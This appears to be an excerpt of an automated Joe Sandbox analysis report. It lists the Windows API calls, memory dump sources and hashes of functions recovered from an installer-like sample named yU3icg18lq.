windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(0040A2D8,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction ID: 0adee223d2b7ba7d815a442a2885e1f2b60e3b86eb1a18037e9b6c54a102055c
Opcode Fuzzy Hash: a48e27458ca857e7bf1c95edfaa4f4fc3f64b4f364872359a8149092e2b898a4
Instruction Fuzzy Hash: 0E01FF31620220AFE7195B389E05B6B3698E710329F10863FF851F62F1EA78DC429B4C

Uniqueness

Uniqueness Score: -1.00%

Function 00405B3A Relevance: 3.0, APIs: 2, Instructions: 24
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction ID: b1032d8704f3223f2a9afbe03a7757fefc60a77e8ecf1711bb84520e71ece662
Opcode Fuzzy Hash: 6fd2602221babf1a8a9a6246b82f99e4ae13039f11edd6951af80fecf8f79ee2
Instruction Fuzzy Hash: 91E09AB4600219BFEB109B74AD06F7B767CE704604F408475BD15E2151D774A8158A78

Uniqueness

Uniqueness Score: -1.00%

Function 0040694B Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
GetProcAddress.KERNEL32(00000000,?), ref: 00406978

Part of subcall function 004068DB: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068F2
Part of subcall function 004068DB: wsprintfW.USER32 ref: 0040692D
Part of subcall function 004068DB: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406941

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction ID: ff64ee7455e026c1647d72c339307a336527f79dacb59e64982fca04d7429b22
Opcode Fuzzy Hash: 38b25401b771ecf209a524bd0999a173af8b0ad39984603ae0a2953bb283c85e
Instruction Fuzzy Hash: 38E08673504210AFD61057705D04D27B3A89F85740302443EF946F2140DB34DC32ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406047 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction ID: 9d50a09f5748d4f60ef03139cc16a9656d1073ae209d3065c053d14625e31d4c
Opcode Fuzzy Hash: 6be4d53c09d0ea7202590e2ef391dde9d68f005235e9a58d36352f422cb06a2c
Instruction Fuzzy Hash: 87D09E31654301AFEF098F20DE16F2EBAA2EB84B00F11552CB682941E0DA715819DB15

Uniqueness

Uniqueness Score: -1.00%

Function 00406022 Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,00405C27,?,?,00000000,00405DFD,?,?,?,?), ref: 00406027
SetFileAttributesW.KERNEL32(?,00000000), ref: 0040603B

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction ID: 97cbb32404f08d1f6fed837f871d2b37f55cf766f9720be9b575451f5cdabe77
Opcode Fuzzy Hash: bc30e5c928ed30f9cb3e730bb3a024ff28878b527ec9bdb2640fa07c227b463d
Instruction Fuzzy Hash: A3D0C972504220AFC2102728AE0889BBB55EB542717028A35FCA9A22B0CB304CA68694

Uniqueness

Uniqueness Score: -1.00%

Function 00405B05 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B
GetLastError.KERNEL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405B19

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction ID: 8c4969e502f5bc4c8dfdefb7e9c2ba363b64d1215f12130c86bef4ebeef6f559
Opcode Fuzzy Hash: 7ce514c051633c67dabed91c1ba2c830ad6f4192d7236d4c27a26ed09d9cb01d
Instruction Fuzzy Hash: 19C08C30310902DACA802B209F087173960AB80340F158439A683E00B4CA30A065C92D

Uniqueness

Uniqueness Score: -1.00%

Function 004060CA Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E7,00000000,00000000,0040330B,000000FF,00000004,00000000,00000000,00000000), ref: 004060DE

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction ID: a77d82ba430c16999eb1f2306cb11816df14181100402a9e04059793f1b3015d
Opcode Fuzzy Hash: 076a4193e787d8b2f8fcded04b516b0b1a94860d7d4352c54bed072072f3bbd3
Instruction Fuzzy Hash: 21E08632150219ABCF10DF948C00EEB3B9CFF04390F018436FD11E3040D630E92197A4

Uniqueness

Uniqueness Score: -1.00%

Function 004060F9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040349D,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 0040610D

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction ID: 78408803ccc59d93ae5352641a5e7b8f709900c8df5e8e9e13d69f82a1dcf02f
Opcode Fuzzy Hash: 4494c28c6fc58b77f7b94402ffbb10e79d92760fb9961e7d9dbcb201027e3d13
Instruction Fuzzy Hash: 8FE08C3220021ABBCF109E908C00EEB3FACEB003A0F014432FA26E6050D670E83097A4

Uniqueness

Uniqueness Score: -1.00%

Function 004034EA Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403247,?), ref: 004034F8

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00401FA9 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055DC: lstrlenW.KERNEL32(0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000,?), ref: 00405614
Part of subcall function 004055DC: lstrlenW.KERNEL32(0040341D,0042BA48,00000000,?,756F23A0,?,?,?,?,?,?,?,?,?,0040341D,00000000), ref: 00405624
Part of subcall function 004055DC: lstrcatW.KERNEL32(0042BA48,0040341D), ref: 00405637
Part of subcall function 004055DC: SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405649
Part of subcall function 004055DC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040566F
Part of subcall function 004055DC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405689
Part of subcall function 004055DC: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405697

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FF0

Part of subcall function 004069F6: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406A07
Part of subcall function 004069F6: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A29

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 9edf40dd620456944a3073f7ecab255b0d78d4833ca7daa8f9e88a8b745076c9
Instruction ID: 72ab4701d282d41bfb99937ccb951c9b3d992b5a19319da95f503844dddfcbd3
Opcode Fuzzy Hash: 9edf40dd620456944a3073f7ecab255b0d78d4833ca7daa8f9e88a8b745076c9
Instruction Fuzzy Hash: EEF0F032804015ABCB20BBA199849DE72B5CF00318B21413FE102B21D1C77C0E42AA6E

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93ee68a11940325a9ced04c682ca8caeb947e30f70c8be79a55a08dd3566a10b
Instruction ID: c44eb66d79cfe4ab40ed370e2c6e06efa86698fbc962cda5fd2e65c0cc136455
Opcode Fuzzy Hash: 93ee68a11940325a9ced04c682ca8caeb947e30f70c8be79a55a08dd3566a10b
Instruction Fuzzy Hash: 47D0A773A142008BD700EBF8BE854AF73F8EB403293215C3BD102E11D1E778C901561C

Uniqueness

Uniqueness Score: -1.00%

Function 00403B4F Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00403A82,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403B5A

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3a0e7e5e5cdf62e96be2142a5155a3d8c657aa15ddb96e9066be89a7fa45203e
Instruction ID: 69482a2579ef2b85c2ad9764c5c762c9eb4f19b2fcf4b87e51b14fafea8afdc0
Opcode Fuzzy Hash: 3a0e7e5e5cdf62e96be2142a5155a3d8c657aa15ddb96e9066be89a7fa45203e
Instruction Fuzzy Hash: EDC0123090470496F1206F79AE8FA153A64574073DBA48726B0B8B10F3CB7C5659555D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405779
GetDlgItem.USER32(?,000003EE), ref: 00405788
GetClientRect.USER32(?,?), ref: 004057C5
GetSystemMetrics.USER32(00000002), ref: 004057CC
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057ED
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057FE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405811
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040581F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405832
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405854
ShowWindow.USER32(?,00000008), ref: 00405868
GetDlgItem.USER32(?,000003EC), ref: 00405889
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405899
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058B2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058BE
GetDlgItem.USER32(?,000003F8), ref: 00405797

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

GetDlgItem.USER32(?,000003EC), ref: 004058DB
CreateThread.KERNEL32(00000000,00000000,Function_000056AF,00000000), ref: 004058E9
CloseHandle.KERNEL32(00000000), ref: 004058F0
ShowWindow.USER32(00000000), ref: 00405914
ShowWindow.USER32(?,00000008), ref: 00405919
ShowWindow.USER32(00000008), ref: 00405963
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405997
CreatePopupMenu.USER32 ref: 004059A8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059BC
GetWindowRect.USER32(?,?), ref: 004059DC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059F5
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A2D
OpenClipboard.USER32(00000000), ref: 00405A3D
EmptyClipboard.USER32 ref: 00405A43
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A4F
GlobalLock.KERNEL32(00000000), ref: 00405A59
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A6D
GlobalUnlock.KERNEL32(00000000), ref: 00405A8D
SetClipboardData.USER32(0000000D,00000000), ref: 00405A98
CloseClipboard.USER32 ref: 00405A9E

Strings

{, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction ID: 234ab3d0ec1f6487b719ed7b99e1d6b4405f443d9e8d78e252fa94ab3ac4d3a1
Opcode Fuzzy Hash: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction Fuzzy Hash: 34B139B1900608FFDB11AF60DD89AAE7B79FB48355F00813AFA41BA1A0C7785A51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004049C7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A16
SetWindowTextW.USER32(00000000,?), ref: 00404A40
SHBrowseForFolderW.SHELL32(?), ref: 00404AF1
CoTaskMemFree.OLE32(00000000), ref: 00404AFC
lstrcmpiW.KERNEL32(004326A0,0042CA68,00000000,?,?), ref: 00404B2E
lstrcatW.KERNEL32(?,004326A0), ref: 00404B3A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B4C

Part of subcall function 00405B9B: GetDlgItemTextW.USER32(?,?,00000400,00404B83), ref: 00405BAE

Part of subcall function 00406805: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
Part of subcall function 00406805: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
Part of subcall function 00406805: CharNextW.USER32(?,0043F000,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
Part of subcall function 00406805: CharPrevW.USER32(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C0F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C2A

Part of subcall function 00404D83: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
Part of subcall function 00404D83: wsprintfW.USER32 ref: 00404E2D
Part of subcall function 00404D83: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

A, xrefs: 00404AEA

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
